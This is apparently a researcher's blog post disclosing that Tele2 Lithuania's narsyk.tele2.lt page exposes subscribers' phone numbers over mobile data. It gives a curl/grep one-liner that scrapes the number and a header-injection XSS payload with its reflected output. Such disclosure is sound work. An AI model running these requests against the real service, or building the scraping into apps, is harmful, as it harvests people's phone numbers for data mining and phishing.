Tele2 is leaking our phone numbers (Lithuania)
Quick story
About a year ago I had found this design feature.
If you go to http://narsyk.tele2.lt/ while on mobile data it displays how much mobile data you have left and most importantly your own phone number.
After a scandal by another security researcher from Lithuania.
Tele2 and most other providers fixed this design feature (they even replaced the large part of the phone number inside http://narsyk.tele2.lt/).
But the funny thing is that they reverted this fix and the phone number is being displayed like it always has been.
How is this an issue?
From personal data mining scenarios to phishing.
Well any application running on your phone or anything else connected to your hotspot can get your phone number.
Simple demo
A simple POSIX Shell one-liner.
#!/bin/sh
curl -s -L -b none 'http://narsyk.tele2.lt/' | grep -Po '<p>\K[[:digit:]]*' | sed 's/^/+370/'
$ ./tele2.sh
+3706******7
Bonus content
Well if you access that same site while on Wi-Fi.
You can cause XSS via HTTP Request Header manipulation.
curl -s -L -H 'X-Tele2-Subid: <script>alert("XSS");</script>' 'http://narsyk.tele2.lt/'
...
<!-- Content-->
<div class="main">
<div class="alert">
Jūs esate prisijungę prie WIFI ryšio (IP <script>alert("XSS");</script>). Šis puslapis veikia naudojantis tik TELE2 mobiliuoju internetu. <br />
Išjunkite WIFI ir perkraukite puslapį. Naršymas nemokamas.
</div>
</div>
...
It is a low risk XSS (and basically useless) but whatever it’s still funny.